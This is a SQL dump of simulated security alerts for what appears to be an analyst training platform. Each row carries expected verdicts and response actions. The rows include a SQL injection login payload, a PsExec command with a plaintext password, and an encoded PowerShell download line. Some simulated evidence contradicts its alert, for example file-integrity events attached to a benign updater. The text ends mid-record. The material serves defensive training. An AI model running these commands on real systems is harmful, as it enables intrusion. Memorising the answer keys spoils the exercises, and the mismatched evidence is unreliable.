(1030, 'Legitimate Software Update Mistaken as Malware', 'medium', 'Splunk', 'A software update process was flagged as malicious due to heuristic detection, but analysis reveals it is benign.', 'Malware', 'T1203', 0, 'investigating', NULL, '{\"timestamp\":\"2026-01-17T14:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.6.30\",\"username\":\"m.brown\",\"hostname\":\"DEV-SERVER\",\"command_line\":\"C:\\\\Program Files\\\\Update\\\\updater.exe /silent\",\"file_hash\":\"a7e5b8c2d9f1e3f0a1b5c6d7e8f9a1b2\"}', '2026-01-17 19:11:07', '2026-02-26 22:01:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.6.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the development server\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"C:\\\\Program Files\\\\Update\\\\updater.exe /silent\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Recognized as part of a legitimate update process\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a7e5b8c2d9f1e3f0a1b5c6d7e8f9a1b2\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"File hash matched known legitimate software update\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The flagged process was a legitimate software update misidentified by heuristic analysis.\"}', 'Expert', 'EDR', 9, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.735Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T14:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.30\\\",\\\"username\\\":\\\"m.brown\\\",\\\"hostname\\\":\\\"DEV-SERVER\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Update\\\\\\\\updater.exe /silent\\\",\\\"file_hash\\\":\\\"a7e5b8c2d9f1e3f0a1b5c6d7e8f9a1b2\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.735Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T14:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.30\\\",\\\"username\\\":\\\"m.brown\\\",\\\"hostname\\\":\\\"DEV-SERVER\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Update\\\\\\\\updater.exe /silent\\\",\\\"file_hash\\\":\\\"a7e5b8c2d9f1e3f0a1b5c6d7e8f9a1b2\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.735Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T14:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.30\\\",\\\"username\\\":\\\"m.brown\\\",\\\"hostname\\\":\\\"DEV-SERVER\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Update\\\\\\\\updater.exe /silent\\\",\\\"file_hash\\\":\\\"a7e5b8c2d9f1e3f0a1b5c6d7e8f9a1b2\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.735Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T14:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.30\\\",\\\"username\\\":\\\"m.brown\\\",\\\"hostname\\\":\\\"DEV-SERVER\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Update\\\\\\\\updater.exe /silent\\\",\\\"file_hash\\\":\\\"a7e5b8c2d9f1e3f0a1b5c6d7e8f9a1b2\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.735Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T14:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.6.30\\\",\\\"username\\\":\\\"m.brown\\\",\\\"hostname\\\":\\\"DEV-SERVER\\\",\\\"command_line\\\":\\\"C:\\\\\\\\Program Files\\\\\\\\Update\\\\\\\\updater.exe /silent\\\",\\\"file_hash\\\":\\\"a7e5b8c2d9f1e3f0a1b5c6d7e8f9a1b2\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1031, 'Lateral Movement Using PSExec Detected', 'high', 'SentinelOne', 'Detected lateral movement activity using PSExec, indicating possible internal reconnaissance or privilege escalation.', 'Lateral Movement', 'T1569.002', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-17T16:20:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.7.40\",\"dst_ip\":\"192.168.7.41\",\"username\":\"admin\",\"hostname\":\"CORP-ADMIN-PC\",\"command_line\":\"psexec.exe \\\\\\\\192.168.7.41 -u admin -p password123 cmd.exe\"}', '2026-01-17 19:11:07', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.7.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Source IP of the lateral movement attempt\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.7.41\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Target IP of the lateral movement attempt\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"psexec.exe \\\\\\\\192.168.7.41 -u admin -p password123 cmd.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"PSExec used for lateral movement activity\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"monitor_internal_traffic\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Use of PSExec for lateral movement suggests an attacker is attempting to move within the network.\"}', 'Expert', 'EDR', 9, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.736Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T16:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.7.40\\\",\\\"dst_ip\\\":\\\"192.168.7.41\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-ADMIN-PC\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.7.41 -u admin -p password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.736Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T16:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.7.40\\\",\\\"dst_ip\\\":\\\"192.168.7.41\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-ADMIN-PC\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.7.41 -u admin -p password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.736Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T16:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.7.40\\\",\\\"dst_ip\\\":\\\"192.168.7.41\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-ADMIN-PC\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.7.41 -u admin -p password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.736Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T16:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.7.40\\\",\\\"dst_ip\\\":\\\"192.168.7.41\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-ADMIN-PC\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.7.41 -u admin -p password123 cmd.exe\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.736Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-17T16:20:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.7.40\\\",\\\"dst_ip\\\":\\\"192.168.7.41\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"CORP-ADMIN-PC\\\",\\\"command_line\\\":\\\"psexec.exe \\\\\\\\\\\\\\\\192.168.7.41 -u admin -p password123 cmd.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1041, 'Malware Detected: Known Malicious File Executed', 'critical', 'CrowdStrike', 'A known malware file was detected and executed on an internal host. The file hash is associated with multiple malware reports.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-01-22T10:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"198.51.100.5\",\"username\":\"jdoe\",\"hostname\":\"WIN-10JDOE\",\"command_line\":\"C:\\\\malware\\\\badfile.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"domain\":\"malicious-domain.com\"}', '2026-01-22 13:14:49', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address associated with the affected machine.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected in 62 antivirus engines indicating malware.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"malicious-domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain involved in known malware distribution campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"command\",\"value\":\"C:\\\\malware\\\\badfile.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Execution of known malicious executable.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash and domain are confirmed malicious by multiple sources. Immediate host isolation and remediation are recommended.\"}', 'Novice', 'EDR', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1042, 'Malware Execution Detected on Internal Host', 'high', 'CrowdStrike', 'A suspicious process execution was detected on an internal host. The process matches a known malware signature, indicating potential compromise.', 'Malware', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-01-23T14:22:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.88\",\"username\":\"jdoe\",\"hostname\":\"INTERNAL-PC01\",\"command_line\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c powershell -enc aQBmKChUZXN0LU5ldChbU3lzdGVtLk5ldC5JUFZlcnNpb25TcGVjaWZpY2F0aW9uXSkpLkFkZHJlc3NFbmQ9PSIyMDMuMC4xMTMuODgiKXtJbnZva2UtV2ViUmVxdWVzdFswXTt9\"}', '2026-01-23 16:38:09', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.88\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for hosting malware\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c powershell -enc aQBmKChUZXN0LU5ldChbU3lzdGVtLk5ldC5JUFZlcnNpb25TcGVjaWZpY2F0aW9uXSkpLkFkZHJlc3NFbmQ9PSIyMDMuMC4xMTMuODgiKXtJbnZva2UtV2ViUmVxdWVzdFswXTt9\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Encoded PowerShell command executing a known malware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The presence of a known malicious IP and the execution of an encoded PowerShell script indicate a malware infection.\"}', 'Intermediate', 'EDR', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1043, 'Potential SQL Injection Attack on Web Application', 'medium', 'Wazuh', 'A potential SQL injection attempt was detected targeting a web application. The attacker tried to manipulate the database query through user input.', 'Web Attack', 'T1190', 1, 'New', NULL, '{\"timestamp\":\"2026-01-23T10:15:30Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"10.0.0.25\",\"request_body\":\"\' OR \'1\'=\'1\' --\",\"username\":\"guest\",\"hostname\":\"WEB-SERVER01\",\"url\":\"/login\"}', '2026-01-23 16:38:09', '2026-02-01 20:32:22', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"IP associated with scanning activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the targeted web server\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"\' OR \'1\'=\'1\' --\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"SQL injection attempt detected\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"/login\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Targeted login endpoint of the web application\"}}],\"expected_actions\":[\"block_ip\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"web_attack\",\"analysis_notes\":\"The request body contains a classic SQL injection pattern, indicating a true positive attack attempt.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.740Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-23T10:15:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"url\\\":\\\"/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.740Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-23T10:15:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"url\\\":\\\"/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.740Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-23T10:15:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"url\\\":\\\"/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.740Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-23T10:15:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"url\\\":\\\"/login\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.740Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-01-23T10:15:30Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"10.0.0.25\\\",\\\"request_body\\\":\\\"\' OR \'1\'=\'1\' --\\\",\\\"username\\\":\\\"guest\\\",\\\"hostname\\\":\\\"WEB-SERVER01\\\",\\\"url\\\":\\\"/login\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1044, 'Suspicious Activity Detected in Contact Importer', 'high', 'Security Information and Event Management (SIEM) logs', 'An unusual spike in API calls to the contact importer feature was detected, indicating a potential exploitation attempt to gain unauthorized access to user data. The activity appears to originate from a known malicious IP address.', 'Initial Access', 'T1190: Exploit Public-Facing Application', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.45\",\"api_endpoint\":\"/api/v1/contact-import\",\"http_method\":\"POST\",\"request_headers\":{\"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"Content-Type\":\"application/json\"},\"request_body\":\"{\\\"contacts\\\":[{\\\"name\\\":\\\"John Doe\\\",\\\"email\\\":\\\"john.doe@example.com\\\"}]}\",\"response_code\":500,\"user_agent_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"jane.smith\",\"session_id\":\"abc123sessiontoken\"}', '2026-01-24 00:10:54', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous attacks on public-facing applications.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server used for contact importing.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Associated with common user agents.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jane.smith\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"suspicious\",\"details\":\"Unusual activity detected for this user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\"]}', 'advanced', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.741Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"api_endpoint\\\":\\\"/api/v1/contact-import\\\",\\\"http_method\\\":\\\"POST\\\",\\\"request_headers\\\":{\\\"User-Agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"Content-Type\\\":\\\"application/json\\\"},\\\"request_body\\\":\\\"{\\\\\\\"contacts\\\\\\\":[{\\\\\\\"name\\\\\\\":\\\\\\\"John Doe\\\\\\\",\\\\\\\"email\\\\\\\":\\\\\\\"john.doe@example.com\\\\\\\"}]}\\\",\\\"response_code\\\":500,\\\"user_agent_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"session_id\\\":\\\"abc123sessiontoken\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.741Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"api_endpoint\\\":\\\"/api/v1/contact-import\\\",\\\"http_method\\\":\\\"POST\\\",\\\"request_headers\\\":{\\\"User-Agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"Content-Type\\\":\\\"application/json\\\"},\\\"request_body\\\":\\\"{\\\\\\\"contacts\\\\\\\":[{\\\\\\\"name\\\\\\\":\\\\\\\"John Doe\\\\\\\",\\\\\\\"email\\\\\\\":\\\\\\\"john.doe@example.com\\\\\\\"}]}\\\",\\\"response_code\\\":500,\\\"user_agent_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"session_id\\\":\\\"abc123sessiontoken\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.741Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"api_endpoint\\\":\\\"/api/v1/contact-import\\\",\\\"http_method\\\":\\\"POST\\\",\\\"request_headers\\\":{\\\"User-Agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"Content-Type\\\":\\\"application/json\\\"},\\\"request_body\\\":\\\"{\\\\\\\"contacts\\\\\\\":[{\\\\\\\"name\\\\\\\":\\\\\\\"John Doe\\\\\\\",\\\\\\\"email\\\\\\\":\\\\\\\"john.doe@example.com\\\\\\\"}]}\\\",\\\"response_code\\\":500,\\\"user_agent_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"session_id\\\":\\\"abc123sessiontoken\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.741Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"api_endpoint\\\":\\\"/api/v1/contact-import\\\",\\\"http_method\\\":\\\"POST\\\",\\\"request_headers\\\":{\\\"User-Agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"Content-Type\\\":\\\"application/json\\\"},\\\"request_body\\\":\\\"{\\\\\\\"contacts\\\\\\\":[{\\\\\\\"name\\\\\\\":\\\\\\\"John 